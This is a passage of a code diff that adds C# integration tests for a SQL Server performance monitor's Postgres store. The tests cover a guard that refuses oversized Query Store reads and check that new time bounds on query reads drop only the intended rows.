+        Assert.DoesNotContain("rows", message, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("million", message, StringComparison.OrdinalIgnoreCase);
+        foreach (var sentence in message.Split(". ", StringSplitOptions.RemoveEmptyEntries))
+        {
+            Assert.True(sentence.Split(' ').Length <= 20, "keep each sentence short: " + sentence);
+        }
+    }
+
+    [Fact]
+    public void TheMessage_ReadsPlainly()
+    {
+        /* The plain-English checker's rules, pinned on the message the user reads: short sentences, no code words. */
+        var message = QueryStoreWideReadGuard.Refusal(new QueryStoreWideReadGuard.Estimate(12_000_000, 43), Start, Start.AddDays(1))!;
+        foreach (var sentence in message.Split(". ", StringSplitOptions.RemoveEmptyEntries))
+        {
+            Assert.True(sentence.Split(' ').Length <= 20, "keep each sentence short: " + sentence);
+        }
+
+        Assert.DoesNotContain("wide", message, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("collect.", message, StringComparison.Ordinal);
+    }
+}
+
+/// <summary>
+/// #5582, live: the estimate reads the right rows, and the refusal answers on every path that runs a composed panel
+/// (the shared runner behind <c>/api/compose/run</c>, and the MCP tool <c>run_custom_view_panel</c>). Seeds the same
+/// wide-eligible store <see cref="ComposeQueryStoreWideStartLiveTests"/> builds, then writes the #5094 daily summary's
+/// built rows the estimate reads.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. The test reaches DARLING_TEST_PG only to CREATE and
+   DROP its own database through ScratchPostgres and works entirely inside it. */
+public sealed class QueryStoreWideReadRefusalLiveTests
+{
+    private const int ServerId = -5582002;
+    private const string ServerName = "qsiw-refusal";
+    private const string OtherServerName = "qsiw-refusal-other";
+    private const int OtherServerId = -5582003;
+
+    private static readonly DateTime S = DateTime.SpecifyKind(DateTime.UtcNow.Date.AddDays(-6), DateTimeKind.Unspecified);
+
+    private const string PanelJson =
+        "{\"source\":\"query_store_stats\",\"measure\":\"qs_executions\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"viz\":\"line\"}";
+
+    [Fact]
+    public async Task Estimate_ReadsTheNewestBuiltDayOfEachEnabledServerInScope()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5582 estimate live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, OtherServerId, OtherServerName, ct);
+        var noBuiltDayId = ServerId - 10;
+        await DarlingMcpTestData.RegisterServerAsync(connection, noBuiltDayId, "qsiw-refusal-nobuilt", ct);
+        var disabledId = ServerId - 11;
+        await DarlingMcpTestData.RegisterServerAsync(connection, disabledId, "qsiw-refusal-disabled", ct);
+        await ExecAsync(connection, $"UPDATE collect.servers SET is_enabled = FALSE WHERE server_id = {disabledId}", ct);
+
+        /* Two built days for the first server: only the newest counts. A server with no built day adds nothing. A disabled
+           server with one counts, as the compiled wide read takes its retained rows too. */
+        await InsertBuiltAsync(connection, ServerId, S.Date.AddDays(1), 1_000, ct);
+        await InsertBuiltAsync(connection, ServerId, S.Date.AddDays(3), 700, ct);
+        await InsertBuiltAsync(connection, OtherServerId, S.Date.AddDays(2), 50, ct);
+        await InsertBuiltAsync(connection, disabledId, S.Date.AddDays(2), 9_999_999, ct);
+
+        var fleet = await QueryStoreWideReadGuard.EstimateAsync(postgres, null, null, ct);
+        Assert.Equal(new QueryStoreWideReadGuard.Estimate(750 + 9_999_999, 3), fleet);
+
+        var scoped = await QueryStoreWideReadGuard.EstimateAsync(postgres, new[] { ServerName }, null, ct);
+        Assert.Equal(new QueryStoreWideReadGuard.Estimate(700, 1), scoped);
+
+        var noBuilt = await QueryStoreWideReadGuard.EstimateAsync(postgres, new[] { "qsiw-refusal-nobuilt" }, null, ct);
+        Assert.Equal(new QueryStoreWideReadGuard.Estimate(0, 0), noBuilt);
+        Assert.Null(QueryStoreWideReadGuard.Refusal(noBuilt, S, S.AddDays(30)));
+
+    }
+
+    [Fact]
+    public async Task EveryPathThatRunsAComposedPanel_RefusesAnOversizedRead_AndRunsASmallOne()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5582 refusal live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.True(await TimescaleSupport.TryEnableAsync(connection, null, ct), "TimescaleDB must be enabled on the test cluster");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator());
+        await QueryStoreIntervalWideGridLiveTests.SeedGridAsync(runner, ServerId, S, ct);
+        await ExecAsync(connection,
+            "INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date) "
+            + $"VALUES ({ServerId}, '{ServerName}', '{ServerName}', TRUE, 16, now(), now()) ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE", ct);
+        await QueryStoreIntervalWideBelowFloorLiveTests.SeedQueryStoreLogAsync(connection, ServerId, S.AddDays(-60), S.AddDays(4), null, null, ct);
+        await ExecAsync(connection,
+            $"UPDATE collect.query_store_interval_wide_coverage SET filled_since = TIMESTAMP '{S.AddHours(12):yyyy-MM-dd HH:mm:ss}' WHERE server_id = {ServerId}", ct);
+        var end = (DateTime)(await ScalarAsync(connection,
+            $"SELECT applied_through FROM collect.query_store_interval_wide_coverage WHERE server_id = {ServerId}", ct))!;
+        await ExecAsync(connection, $"SELECT drop_chunks('collect.query_store_stats', older_than => TIMESTAMP '{S.AddDays(1):yyyy-MM-dd HH:mm:ss}')", ct);
+
+        var resolution = await DarlingWebEndpoints.ResolveQueryStoreWideEligibleAsync(postgres, null, S, end, end, ct);
+        Assert.True(resolution.Eligible, "the seeded store must route the panel to the wide table, or this test proves nothing");
+
+        /* The window end carries the microseconds applied_through has: a whole-second end can fall before it, and the gate
+           then reads raw (the literal-end rule). */
+        var spec = new JsonObject
+        {
+            ["panel"] = JsonNode.Parse(PanelJson),
+            ["windowStart"] = S.ToString("yyyy-MM-dd'T'HH:mm:ss'Z'", System.Globalization.CultureInfo.InvariantCulture),
+            ["windowEnd"] = end.ToString("yyyy-MM-dd'T'HH:mm:ss.ffffff'Z'", System.Globalization.CultureInfo.InvariantCulture),
+        };
+
+        /* No built day: the guard fails open and the panel runs, on both paths. */
+        await AssertRunsAsync(postgres, spec, ct);
+
+        /* A small built day: still runs. */
+        await InsertBuiltAsync(connection, ServerId, S.Date.AddDays(2), 1_000, ct);
+        await AssertRunsAsync(postgres, spec, ct);
+
+        /* An oversized built day: refused with the message, on the shared runner and on the MCP tool. */
+        await ExecAsync(connection, $"UPDATE collect.query_store_top_daily_built SET source_rows = {ComposeLimits.MaxQueryStoreWideRows * 4} WHERE server_id = {ServerId}", ct);
+
+        var outcome = await DarlingWebEndpoints.RunComposedPanelAsync(postgres, (JsonObject)spec.DeepClone(), ct);
+        Assert.True(outcome.Payload is null, "the oversized read must be refused; the panel ran: " + outcome.Payload?["sql"]);
+        Assert.False(outcome.IsServerError);
+        Assert.NotNull(outcome.Error);
+        Assert.StartsWith("This panel needs about ", outcome.Error, StringComparison.Ordinal);
+        Assert.Contains("Query Store rows (1 server, ", outcome.Error, StringComparison.Ordinal);
+        Assert.EndsWith("Choose fewer servers or a shorter window.", outcome.Error, StringComparison.Ordinal);
+
+        var tool = await DarlingMcpCustomViewTools.RunCustomViewPanel(postgres, spec.ToJsonString());
+        Assert.Contains("\"status\":\"invalid\"", tool.Replace(" ", string.Empty), StringComparison.Ordinal);
+        Assert.Contains("This panel needs about ", tool, StringComparison.Ordinal);
+        Assert.Contains("Choose fewer servers or a shorter window.", tool, StringComparison.Ordinal);
+
+        /* A scope that leaves out the oversized server is not refused. */
+        var scoped = (JsonObject)spec.DeepClone();
+        scoped["server"] = "no-such-server-5582";
+        var scopedOutcome = await DarlingWebEndpoints.RunComposedPanelAsync(postgres, scoped, ct);
+        Assert.True(scopedOutcome.Error is null || !scopedOutcome.Error.StartsWith("This panel needs about ", StringComparison.Ordinal), "a scope with no built day must not be refused");
+
+    }
+
+    private static async Task AssertRunsAsync(NpgsqlDataSource postgres, JsonObject spec, CancellationToken ct)
+    {
+        var outcome = await DarlingWebEndpoints.RunComposedPanelAsync(postgres, (JsonObject)spec.DeepClone(), ct);
+        Assert.True(outcome.Payload is not null, "the panel must run: " + outcome.Error);
+
+        var tool = await DarlingMcpCustomViewTools.RunCustomViewPanel(postgres, spec.ToJsonString());
+        Assert.DoesNotContain("This panel needs about", tool, StringComparison.Ordinal);
+    }
+
+    private static Task InsertBuiltAsync(NpgsqlConnection connection, int serverId, DateTime day, long sourceRows, CancellationToken ct) =>
+        ExecAsync(connection,
+            "INSERT INTO collect.query_store_top_daily_built (server_id, day, pass, built_at, source_rows) "
+            + $"VALUES ({serverId}, DATE '{day:yyyy-MM-dd}', 2, now() AT TIME ZONE 'UTC', {sourceRows})", ct);
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreWideUpperBoundLiveTests.cs b/Darling/Darling.Tests/QueryStoreWideUpperBoundLiveTests.cs
new file mode 100644
index 0000000000..61040f6b86
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreWideUpperBoundLiveTests.cs
@@ -0,0 +1,305 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5523: the per-server reads of <c>collect.query_store_interval_wide</c> now bound <c>first_execution_time</c> at the
+/// window's end as well as its start, so <c>ix_query_store_interval_wide_server_first_exec</c> scans a finite range. This
+/// pins that no row is lost: rows straddle every edge of the window (an interval that began before the window and is
+/// still running, a row collected exactly at each edge, a row whose first execution is just past the end because the
+/// monitored server's clock runs ahead, an interval that spans a whole day past the end of a window placed by its start),
+/// and each statement returns exactly what the same statement returns with the new bound cut out. One row sits past the
+/// slack on purpose, and each bound has a row one minute outside it: the bounds are live, and those are the only rows the new text drops.
+/// </summary>
+/* #1776 own-store: reaches DARLING_TEST_PG only to CREATE and DROP its own database through ScratchPostgres and then
+   works entirely inside it, the same shape as QueryStoreBackgroundIndexesLiveTests. */
+public sealed class QueryStoreWideUpperBoundLiveTests
+{
+    private const int TopServer = 51;
+    private const int TrendServer = 52;
+
+    private static readonly DateTime W0 = new(2026, 9, 10, 6, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime W1 = new(2026, 9, 12, 18, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime S = new(2026, 9, 11, 0, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime E = new(2026, 9, 12, 0, 0, 0, DateTimeKind.Unspecified);
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /* (query_id, collection_time, first_execution_time) for TopServer. Every row is its own interval (distinct interval id, plan
+       id = query id), so one row is one group in the top reads. */
+    private static readonly (int Q, DateTime C, DateTime F)[] TopRows =
+    {
+        (1, W0.AddHours(1), W0.AddHours(-20)),         // began before the window, still running
+        (2, W0, W0.AddHours(-25).AddMinutes(-30)),     // collected exactly at the start, inside the 26 h floor
+        (3, W1, W1.AddHours(-1)),                      // collected exactly at the end
+        (4, W1, W1.AddHours(12).AddMinutes(-1)),       // monitored clock 11 h 59 min ahead: inside the 12 h slack
+        (5, W1.AddMinutes(-1), W1.AddMinutes(30)),
+        (6, W0.AddMinutes(-1), W0.AddHours(-1)),       // collected just before the window
+        (7, W1.AddMinutes(1), W1),                     // collected just after the window
+        (8, W1.AddDays(3), W1.AddDays(3)),             // newer rows the old range walked and filtered out
+        (9, W0.AddHours(5), W0.AddHours(4)),           // ordinary
+        (10, new DateTime(2026, 9, 11, 12, 0, 0), new DateTime(2026, 9, 11, 11, 0, 0)),  // the middle day
+        (11, W1, W1.AddHours(12).AddMinutes(1)),       // past the slack: dropped by every upper bound
+        (12, S.AddMinutes(-1), S.AddHours(12).AddMinutes(-1)),  // collected just before the long-window read's first edge, first execution inside the slack past it
+        (13, S.AddMinutes(-1), S.AddHours(12).AddMinutes(1)),   // the same, one minute past the slack: only the long-window read's first edge drops it
+    };
+
+    /* (query_id, interval start, first_execution_time, collection_time) for TrendServer; start null is a legacy row. */
+    private static readonly (int Q, DateTime? Start, DateTime F, DateTime C)[] TrendRows =
+    {
+        (21, W0, W0, W0.AddMinutes(30)),                                        // starts at the window start
+        (22, W0.AddMinutes(10), W0.AddMinutes(-59), W0.AddHours(1)),            // first execution 59 minutes below the window start: inside the 1 h floor
+        (23, W1, W1.AddHours(24), W1.AddHours(25)),                             // starts at the end, spans the whole day
+        (24, W1.AddMinutes(-10), W1.AddHours(23).AddMinutes(50), W1.AddHours(24)),
+        (25, W0.AddMinutes(-1), W0.AddMinutes(-1), W0.AddMinutes(10)),          // starts just before the window
+        (26, W1.AddMinutes(1), W1.AddMinutes(1), W1.AddMinutes(5)),             // starts just after the window
+        (27, W0.AddHours(1), W0.AddHours(1), W0.AddHours(1)),
+        (30, W0.AddMinutes(20), W0.AddMinutes(-61), W0.AddHours(1)),            // first execution 61 minutes below the window start: past the floor, dropped
+        (28, null, W0.AddHours(1), W0.AddHours(2)),                             // legacy rows
+        (29, null, W1.AddHours(12).AddMinutes(-1), W1.AddMinutes(-5)),
+        (31, null, W1.AddHours(12).AddMinutes(1), W1.AddMinutes(-3)),           // legacy, one minute past the slack: dropped
+    };
+
+    private static readonly int[] ExpectedTop = { 1, 2, 3, 4, 5, 9, 10, 12, 13 };
+    private static readonly int[] ExpectedDaily = { 1, 2, 3, 4, 5, 9, 12 };
+    private static readonly DateTime[] ExpectedTrendPoints =
+    {
+        W0, W0.AddMinutes(10), W0.AddHours(1), W0.AddHours(2), W1.AddMinutes(-10), W1.AddMinutes(-5), W1,
+    };
+
+    /* What the same trend statement returns with its new bounds cut out: the two rows the bounds exist to drop come back. */
+    private static readonly DateTime[] OldTrendPoints =
+    {
+        W0, W0.AddMinutes(10), W0.AddMinutes(20), W0.AddHours(1), W0.AddHours(2), W1.AddMinutes(-10), W1.AddMinutes(-5), W1.AddMinutes(-3), W1,
+    };
+
+    [Fact]
+    public async Task EveryReadWithTheUpperBound_ReturnsWhatItReturnedWithoutIt_AndDropsOnlyARowPastTheSlack()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5523 live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await SeedAsync(connection, ct);
+
+        /* ---- MCP top: the table read. ---- */
+        var mcpNew = DarlingDataReader.QueryStoreTopTableSql;
+        var mcpOld = Cut(mcpNew, @"\s*AND\s+first_execution_time <= \$3 \+ interval '\d+ minutes'");
+        var mcpTop = await TopIdsAsync(connection, mcpNew, ct);
+        Assert.Equal(ExpectedTop, mcpTop);
+        Assert.Equal(ExpectedTop.Append(11).OrderBy(q => q), await TopIdsAsync(connection, mcpOld, ct));
+
+        /* ---- The long-window read: only the two edge arms read the wide table; no daily row is built, so the middle
+           days contribute nothing, and the edges are what the bound could clip. ---- */
+        var dailyNew = DarlingDataReader.QueryStoreTopDailyTableSql;
+        var dailyOld = Cut(Cut(dailyNew, @"\s*AND\s+first_execution_time < \$8::date \+ interval '\d+ minutes'"),
+            @"\s*AND\s+first_execution_time <= \$3 \+ interval '\d+ minutes'");
+        var dailyIds = await DailyIdsAsync(connection, dailyNew, ct);
+        Assert.Equal(ExpectedDaily, dailyIds);
+        Assert.Equal(ExpectedDaily.Append(11).Append(13).OrderBy(q => q), await DailyIdsAsync(connection, dailyOld, ct));
+
+        /* ---- The Queries grid's table read: a closed end, and the open end a preset window binds as NULL. ---- */
+        var gridNew = ViewerDataService.QueryStoreTopTableSql;
+        var gridOld = Cut(gridNew, @"\s*AND\s+\(\$3::timestamp IS NULL OR first_execution_time <= \$3 \+ interval '\d+ minutes'\)");
+        Assert.Equal(ExpectedTop, await GridIdsAsync(connection, gridNew, W1, ct));
+        Assert.Equal(ExpectedTop.Append(11).OrderBy(q => q), await GridIdsAsync(connection, gridOld, W1, ct));
+        var openEndNew = await GridIdsAsync(connection, gridNew, null, ct);
+        Assert.Equal(await GridIdsAsync(connection, gridOld, null, ct), openEndNew);
+        Assert.Contains(8, openEndNew);
+        Assert.Contains(11, openEndNew);
+
+        /* ---- The history tool's table read, one query at a time. ---- */
+        var historyNew = DarlingMcpQueryStoreHistoryTools.HistoryTableSql;
+        var historyOld = Cut(historyNew, @"\s*AND\s+first_execution_time <= \$5 \+ interval '\d+ minutes'");
+        foreach (var q in TopRows.Select(r => r.Q))
+        {
+            var viaNew = await HistoryPlanIdsAsync(connection, historyNew, q, ct);
+            var viaOld = await HistoryPlanIdsAsync(connection, historyOld, q, ct);
+            if (q == 11)
+            {
+                Assert.Empty(viaNew);
+                Assert.Single(viaOld);
+            }
+            else
+            {
+                Assert.Equal(viaOld, viaNew);
+            }
+
+            Assert.Equal(ExpectedTop.Contains(q), viaNew.Count == 1);
+        }
+
+        /* ---- The duration trend's table read: both arms. ---- */
+        var trendNew = ViewerDataService.QueryStoreDurationTrendTableSql;
+        var trendOld = trendNew
+            .Replace($"first_execution_time >= $2 - {QueryStoreIntervalWide.IntervalStartSlackSql}", $"first_execution_time >= $2 - {QueryStoreIntervalWide.PurgeEdgeMarginSql}", StringComparison.Ordinal);
+        trendOld = Cut(Cut(trendOld, @"\s*AND\s+first_execution_time <= \$3 \+ interval '\d+ minutes'"),
+            @"\s*AND\s+first_execution_time <= \$4 \+ interval '\d+ minutes'");
+        Assert.NotEqual(trendNew, trendOld);
+        var points = await TrendPointsAsync(connection, trendNew, ct);
+        Assert.Equal(ExpectedTrendPoints, points);
+        Assert.Equal(OldTrendPoints, await TrendPointsAsync(connection, trendOld, ct));
+    }
+
+    /// <summary>The statement with one regex match cut out; the match must exist, or the "old" text would silently equal the new.</summary>
+    private static string Cut(string sql, string pattern)
+    {
+        var regex = new Regex(pattern);
+        Assert.Single(regex.Matches(sql));
+        var cut = regex.Replace(sql, string.Empty);
+        Assert.NotEqual(sql, cut);
+        return cut;
+    }
+
+    private static async Task SeedAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var (q, c, f) in TopRows)
+        {
+            await InsertAsync(connection, TopServer, q, c, f, q, c.AddMinutes(-5), ct);
+        }
+
+        foreach (var (q, start, f, c) in TrendRows)
+        {
+            await InsertAsync(connection, TrendServer, q, c, f, start is null ? -q : q, start, ct);
+        }
+
+        await using var analyze = new NpgsqlCommand("ANALYZE collect.query_store_interval_wide", connection);
+        await analyze.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertAsync(NpgsqlConnection connection, int server, int q, DateTime c, DateTime f, long intervalId, DateTime? start, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO collect.query_store_interval_wide
+    (collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time,
+     last_execution_time, query_text, execution_count, avg_duration_us, runtime_stats_interval_id, interval_start_time_utc)
+VALUES (@c, @server, 'db', @q, @q, 'Regular', @f, @c, 'select 1', 10, 1000, @interval, @start)", connection);
+        command.Parameters.AddWithValue("c", NpgsqlDbType.Timestamp, c);
+        command.Parameters.AddWithValue("server", server);
+        command.Parameters.AddWithValue("q", (long)q);
+        command.Parameters.AddWithValue("f", NpgsqlDbType.Timestamp, f);
+        command.Parameters.AddWithValue("interval", intervalId);
+        command.Parameters.Add(new NpgsqlParameter("start", NpgsqlDbType.Timestamp) { Value = (object?)start ?? DBNull.Value });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static NpgsqlParameter Ts(DateTime value) => new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(value, DateTimeKind.Unspecified), NpgsqlDbType = NpgsqlDbType.Timestamp };
+
+    private static NpgsqlParameter Text() => new() { NpgsqlDbType = NpgsqlDbType.Text, Value = DBNull.Value };
+
+    private static async Task<List<int>> IdsAsync(NpgsqlCommand command, string column, CancellationToken ct)
+    {
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var ordinal = reader.GetOrdinal(column);
+        var ids = new List<int>();
+        while (await reader.ReadAsync(ct))
+        {
+            ids.Add((int)reader.GetInt64(ordinal));
+        }
+
+        ids.Sort();
+        return ids;
+    }
+
+    private static async Task<List<int>> TopIdsAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TopServer });
+        command.Parameters.Add(Ts(W0));
+        command.Parameters.Add(Ts(W1));
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 500 });
+        command.Parameters.Add(DatabaseFilter.All.Parameter());
+        command.Parameters.Add(Text());
+        command.Parameters.Add(Text());
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TopFill.FirstCandidates(500) });
+        return await IdsAsync(command, "query_id", ct);
+    }
+
+    private static async Task<List<int>> DailyIdsAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TopServer });
+        command.Parameters.Add(Ts(W0));
+        command.Parameters.Add(Ts(W1));
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 500 });
+        command.Parameters.Add(DatabaseFilter.All.Parameter());
+        command.Parameters.Add(Text());
+        command.Parameters.Add(Text());
+        command.Parameters.Add(new NpgsqlParameter<DateOnly> { TypedValue = DateOnly.FromDateTime(S), NpgsqlDbType = NpgsqlDbType.Date });
+        command.Parameters.Add(new NpgsqlParameter<DateOnly> { TypedValue = DateOnly.FromDateTime(E), NpgsqlDbType = NpgsqlDbType.Date });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TopFill.FirstCandidates(500) });
+        return await IdsAsync(command, "query_id", ct);
+    }
+
+    private static async Task<List<int>> GridIdsAsync(NpgsqlConnection connection, string sql, DateTime? end, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TopServer });
+        command.Parameters.Add(Ts(W0));
+        command.Parameters.Add(end is DateTime e
+            ? Ts(e)
+            : new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 500 });
+        command.Parameters.Add(ViewerDataService.DatabaseFilterParameter(null));
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TopFill.FirstCandidates(500) });
+        return await IdsAsync(command, "query_id", ct);
+    }
+
+    private static async Task<List<long>> HistoryPlanIdsAsync(NpgsqlConnection connection, string sql, int q, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TopServer });
+        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = "db" });
+        command.Parameters.Add(new NpgsqlParameter<long> { TypedValue = q });
+        command.Parameters.Add(Ts(W0));
+        command.Parameters.Add(Ts(W1));
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var ids = new List<long>();
+        while (await reader.ReadAsync(ct))
+        {
+            ids.Add(reader.GetInt64(0));
+        }
+
+        return ids;
+    }
+
+    private static async Task<List<DateTime>> TrendPointsAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TrendServer });
+        command.Parameters.Add(Ts(W0));
+        command.Parameters.Add(Ts(W1));
+        command.Parameters.Add(Ts(W1));
+        command.Parameters.Add(ViewerDataService.DatabaseFilterParameter(null));
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var points = new List<DateTime>();
+        while (await reader.ReadAsync(ct))
+        {
+            points.Add(reader.GetDateTime(0));
+        }
+
+        return points;
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreWriteFencePinTests.cs b/Darling/Darling.Tests/QueryStoreWriteFencePinTests.cs
index 608e1b0685..e6943fd427 100644
--- a/Darling/Darling.Tests/QueryStoreWriteFencePinTests.cs
+++ b/Darling/Darling.Tests/QueryStoreWriteFencePinTests.cs
@@ -18,6 +18,7 @@ namespace Darling.Tests;
 /// the begin precedes the transaction's open, and the end sits in a <c>finally</c> that follows the commit, so a
 /// throw or a cancel after the rows committed (or a rollback) still ends the write.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class QueryStoreWriteFencePinTests
 {
     private static string Here([CallerFilePath] string thisFile = "") => thisFile;
diff --git a/Darling/Darling.Tests/QueryStoreWriterSetPinTests.cs b/Darling/Darling.Tests/QueryStoreWriterSetPinTests.cs
index f6e5e85bf9..7d120f55b5 100644
--- a/Darling/Darling.Tests/QueryStoreWriterSetPinTests.cs
+++ b/Darling/Darling.Tests/QueryStoreWriterSetPinTests.cs
@@ -23,6 +23,7 @@ namespace Darling.Tests;
 /// (<c>{table}</c>, <c>collect.{Table}</c>, the collector's <c>TargetTable</c>), so a search for the literal table
 /// name finds none of them; <see cref="FindWriters"/> keys on the spellings the writers actually use.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class QueryStoreWriterSetPinTests
 {
     /// <summary>How a source names the table: the literal, a run-time spelling, or a sweep over every collector's
diff --git a/Darling/Darling.Tests/QuietServerWatermarkLadderLiveTests.cs b/Darling/Darling.Tests/QuietServerWatermarkLadderLiveTests.cs
new file mode 100644
index 0000000000..60f274eaeb
--- /dev/null
+++ b/Darling/Darling.Tests/QuietServerWatermarkLadderLiveTests.cs
@@ -0,0 +1,369 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5515: a server with no job run or trace event for hours missed the 6-hour probe and went straight to the
+/// unbounded MAX, which opens every chunk of the server's slice (5,426 blocks a call on job_history, 3,758 on
+/// default_trace_events, on the 43-server store). The ladder tries a week between the two. These pins run
+/// against a live store and check both halves of the contract: the answer is the unbounded MAX's answer for the
+/// columns tested (a watermark behind the store's re-reads stored rows, one ahead of it skips new ones; job_history's
+/// run_datetime, which does not rise with collection_time, can read older, which only widens a re-read), and the whole-slice
+/// read runs only when the week found nothing. Counted with Npgsql's own command log, as the cache's pins are
+/// (<see cref="CommandCountingLoggerFactory"/>). The server-scoped reads, the cpu_utilization pair read and the
+/// Azure per-database read all use the ladder.
+/// </summary>
+[Trait("Stage", "Live")]
+[Collection("live-postgres")]
+public sealed class QuietServerWatermarkLadderLiveTests
+{
+    private const int ServerId = -880155;
+
+    private static string? Pg => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static string TraceBounded =>
+        DarlingCollectorRunner.BuildServerWatermarkSql("default_trace_events", "event_time", bounded: true);
+
+    private static string TraceUnbounded =>
+        DarlingCollectorRunner.BuildServerWatermarkSql("default_trace_events", "event_time", bounded: false);
+
+    private static string JobBounded =>
+        DarlingCollectorRunner.BuildServerWatermarkInstanceIdSql("job_history", "instance_id", bounded: true);
+
+    private static string JobUnbounded =>
+        DarlingCollectorRunner.BuildServerWatermarkInstanceIdSql("job_history", "instance_id", bounded: false);
+
+    /// <summary>The unbounded text is a prefix of the bounded one, so its own count is what is left after the bounded ones.</summary>
+    private static int Unbounded(CommandCountingLoggerProvider log, string unbounded, string bounded) =>
+        log.CountContaining(unbounded) - log.CountContaining(bounded);
+
+    [Fact]
+    public async Task AQuietServer_IsAnsweredByTheWeek_WithTheSameValueAsTheUnboundedRead()
